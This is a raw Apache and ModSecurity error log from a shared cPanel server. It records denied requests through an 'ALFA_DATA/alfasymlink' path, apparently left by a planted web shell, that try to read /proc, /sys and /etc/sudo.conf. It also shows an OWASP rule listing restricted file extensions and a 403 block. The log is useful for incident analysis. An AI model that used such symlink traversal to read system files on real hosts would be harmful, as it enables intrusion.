[Sat Oct 24 07:12:28.480055 2026] [security2:error] [pid 2625330:tid 2625330] [client 185.191.171.3:58090] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/scripts/backups_list_user_files"] [unique_id "atySnPMnT_rHlxLKOWDmeAAAAAc"]
[Sat Oct 24 07:12:30.818343 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.202.233.37:19355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:03/physical_node/driver/remove_id
[Sat Oct 24 07:12:34.795403 2026] [ssl:error] [pid 2608811:tid 2608811] (5)Input/output error: [client 3.224.205.25:56943] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:12:38.819284 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.54.15.103:21690] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:12:58.794022 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.89.90.224:20288] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:13:11.072801 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 184.73.167.217:37864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:06/subsystem/devices/device:01/PNP0303:00/physical_node1/driver/serio0/drvctl
[Sat Oct 24 07:13:11.583201 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.2:34020] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/store_user
[Sat Oct 24 07:13:14.817685 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.230.69.161:46491] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:13:18.862961 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.85.109.140:9557] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:13:22.888944 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 44.206.93.215:27844] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:13:26.838064 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 52.3.156.186:60118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_generic/unbind
[Sat Oct 24 07:13:30.806037 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.221.203.24:7185] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:13:35.044611 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 107.20.181.148:11164] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:13:50.890078 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 35.171.117.160:56791] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:13:55.148792 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 184.72.95.195:16734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:0c/eject
[Sat Oct 24 07:13:58.888157 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 184.72.95.195:49169] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:14:03.127283 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.218.170.184:52400] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:14:19.088074 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.7.33.248:65123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event2/device/mouse0/subsystem/input0/subsystem/input3/device/driver/module/uevent
[Sat Oct 24 07:14:23.213822 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 98.84.184.80:33998] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:14:23.789577 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.8:18656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/cache_dma
[Sat Oct 24 07:14:30.964098 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.212.131.50:32631] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:14:34.797037 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.212.131.50:55141] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:14:38.873618 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.238.45.183:37031] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:14:42.976604 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.44.174.136:30650] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:14:46.622083 2026] [security2:error] [pid 2608731:tid 2608731] [client 185.191.171.10:54776] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/akaunting/php53/import.php"] [unique_id "atyTJvPD_keneTOG9SbigAAAAAg"]
[Sat Oct 24 07:14:46.622123 2026] [security2:error] [pid 2608731:tid 2608731] [client 185.191.171.10:54776] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/akaunting/php53/import.php"] [unique_id "atyTJvPD_keneTOG9SbigAAAAAg"]
[Sat Oct 24 07:14:50.876148 2026] [ssl:error] [pid 2608811:tid 2608811] (5)Input/output error: [client 52.203.68.145:52443] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:14:55.535501 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 98.84.60.17:53976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:15:02.907868 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.208.193.63:30551] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:15:18.806587 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.147.238.89:61342] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:15:26.050699 2026] [core:crit] [pid 2625272:tid 2625272] (13)Permission denied: [client 199.165.159.145:19274] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 07:15:26.725929 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.222.190.107:14682] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:15:34.765569 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 52.207.47.227:56525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:15:46.804500 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.243.63.52:37427] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:15:54.623308 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.3.127.170:33298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:16:06.604554 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 54.87.95.7:33299] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_generic/remove_id
[Sat Oct 24 07:16:14.762157 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.144.185.255:61358] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:16:15.887361 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.199:21550] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/aliases
[Sat Oct 24 07:16:22.389952 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 34.235.239.240:3457] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:16:38.247883 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.243.63.52:20794] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:16:42.332139 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.0.41.164:33561] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:16:50.228298 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.216.172.204:5450] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:16:58.235328 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 100.24.167.60:39356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:17:02.312572 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.197.28.78:63812] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:17:13.603494 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 85.208.96.210:55178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/objects_partial
[Sat Oct 24 07:17:22.218333 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.84.102.81:44135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:17:30.191310 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.164.106.236:60778] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:17:34.169563 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.220.148.166:44659] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:17:45.532672 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 85.208.96.210:21450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/validate
[Sat Oct 24 07:17:47.259138 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.11:56836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/objs_per_slab
[Sat Oct 24 07:17:50.219735 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 100.29.63.24:41969] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:18:02.183077 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.89.170.186:18553] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:18:14.291290 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 54.235.158.162:37394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/firmware_node/eject
[Sat Oct 24 07:18:18.227442 2026] [ssl:error] [pid 2627309:tid 2627309] (5)Input/output error: [client 50.16.72.185:2751] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:18:30.176993 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 100.29.63.24:43324] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:18:46.331952 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 100.24.149.244:44709] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:18:58.153484 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.6.97.88:28042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:19:02.203063 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 3.208.156.9:59867] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:1a/eject
[Sat Oct 24 07:19:09.196897 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.201:37660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/intel_rapl_common/sections/__ksymtab_gpl
[Sat Oct 24 07:19:10.192054 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.3.26.180:10948] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:19:16.227464 2026] [core:crit] [pid 2608811:tid 2608811] (13)Permission denied: [client 71.6.246.92:31360] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 07:19:18.273852 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.239.197.197:4926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:19:21.557845 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 85.208.96.210:58926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:64/iomem_reg_shift
[Sat Oct 24 07:19:26.177691 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 52.4.238.8:56847] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/module/drivers/pci:piix4_smbus/0000:00:01.3/i2c-0/device/subsystem/uevent
[Sat Oct 24 07:19:34.275291 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.209.174.110:24433] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:19:42.221998 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.216.86.144:29241] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:19:58.169859 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 54.235.172.108:7548] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:20:02.160506 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.70.209.13:3609] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:20:10.149835 2026] [ssl:error] [pid 2609012:tid 2609012] (5)Input/output error: [client 34.206.249.188:45216] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:20:22.160726 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 50.16.72.185:55822] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:20:25.450316 2026] [authz_core:error] [pid 2627273:tid 2627273] [client 94.154.43.99:55136] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 07:20:30.210986 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.94.199.128:10212] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:20:34.178342 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 52.204.253.129:42482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/QEMU0002:00/subsystem/drivers/pcspkr/module/uevent
[Sat Oct 24 07:20:46.169523 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.215.77.19:4432] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:20:50.163046 2026] [ssl:error] [pid 2627309:tid 2627309] (5)Input/output error: [client 52.202.52.82:13093] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:21:10.154119 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.215.24.66:61669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:21:12.151842 2026] [core:error] [pid 2627311:tid 2627311] (13)Permission denied: [client 185.191.171.5:60626] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/free_calls
[Sat Oct 24 07:21:14.203905 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.207.79.144:15533] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:21:18.372100 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.70.123.241:50666] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:21:34.307015 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.230.69.161:41785] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:21:38.172262 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.203.152.231:60717] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:21:42.205009 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.84.169.196:5801] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:21:50.797766 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.210:36960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/remote_node_defrag_ratio
[Sat Oct 24 07:21:53.360807 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 85.208.96.208:25190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-16/min_partial
[Sat Oct 24 07:21:54.401045 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 23.21.179.27:56054] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:02.185876 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.21.62.139:41105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:06.296954 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 34.234.200.207:50288] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:10.271461 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 18.210.58.238:25852] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/pci-stub/remove_id
[Sat Oct 24 07:22:13.153425 2026] [core:error] [pid 2627311:tid 2627311] (13)Permission denied: [client 85.208.96.208:54062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/objects_partial
[Sat Oct 24 07:22:14.149492 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.207.47.227:47614] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:18.150243 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.209.100.30:20369] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:22.158960 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.204.81.148:33450] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:28.639154 2026] [security2:error] [pid 2607843:tid 2607843] [client 185.191.171.11:18866] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/sudo.conf"] [unique_id "atyU9ASwRuPA-FjBma7InQAAAAI"]
[Sat Oct 24 07:22:28.639578 2026] [security2:error] [pid 2607843:tid 2607843] [client 185.191.171.11:18866] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/sudo.conf"] [unique_id "atyU9ASwRuPA-FjBma7InQAAAAI"]
[Sat Oct 24 07:22:28.639874 2026] [security2:error] [pid 2607843:tid 2607843] [client 185.191.171.11:18866] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/sudo.conf"] [unique_id "atyU9ASwRuPA-FjBma7InQAAAAI"]
[Sat Oct 24 07:22:30.193468 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 184.73.195.18:48342] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:34.274123 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.235.172.96:56026] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:35.633317 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 85.208.96.196:64024] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:38.206150 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.3.102.51:48532] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:46.208846 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.196.114.170:13681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:47.550427 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 85.208.96.212:14266] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:22:50.153162 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.147.182.90:42576] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:23:02.167840 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 18.232.12.157:60126] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:23:10.142089 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 52.22.64.232:44885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:23:18.840468 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.196:36970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_node/shrink
[Sat Oct 24 07:23:22.140801 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.196.118.6:8706] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:23:30.140404 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 34.202.88.37:29250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:08/eject
[Sat Oct 24 07:23:38.136424 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 44.223.193.255:15043] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:23:46.349064 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 184.73.195.18:19515] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:23:50.300001 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 18.214.251.19:58403] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource2
[Sat Oct 24 07:23:58.258096 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.205.141.124:21189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:24:02.151745 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 54.166.104.83:35598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty32/subsystem/tty7/subsystem/ttyS3/close_delay
[Sat Oct 24 07:24:06.150881 2026] [ssl:error] [pid 2607243:tid 2607243] (5)Input/output error: [client 54.83.56.1:57660] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:24:14.134992 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.225.243.131:49013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:24:18.159754 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.202.52.82:52649] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/uevent
[Sat Oct 24 07:24:22.146071 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.83.240.58:51165] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:24:26.363102 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.208.193.63:63284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:24:30.141685 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 50.19.79.213:40239] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:24:31.127124 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 85.208.96.197:54006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/total_objects
[Sat Oct 24 07:24:42.143999 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.94.40.182:21685] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:24:46.130050 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.197.114.76:43989] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:24:54.349806 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.229.95.193:41990] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:25:06.316380 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.4.213.199:42869] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:25:10.166624 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 54.147.182.90:28586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty11/subsystem/ptmx/subsystem/ttyS0/io_type
[Sat Oct 24 07:25:14.169703 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.196.6.199:51264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:25:38.154560 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 18.208.11.93:33898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:25:51.745017 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 185.191.171.19:54802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/slabs
[Sat Oct 24 07:25:54.177071 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 50.17.193.48:45241] AH02013: coalesce failed to read from data bucket
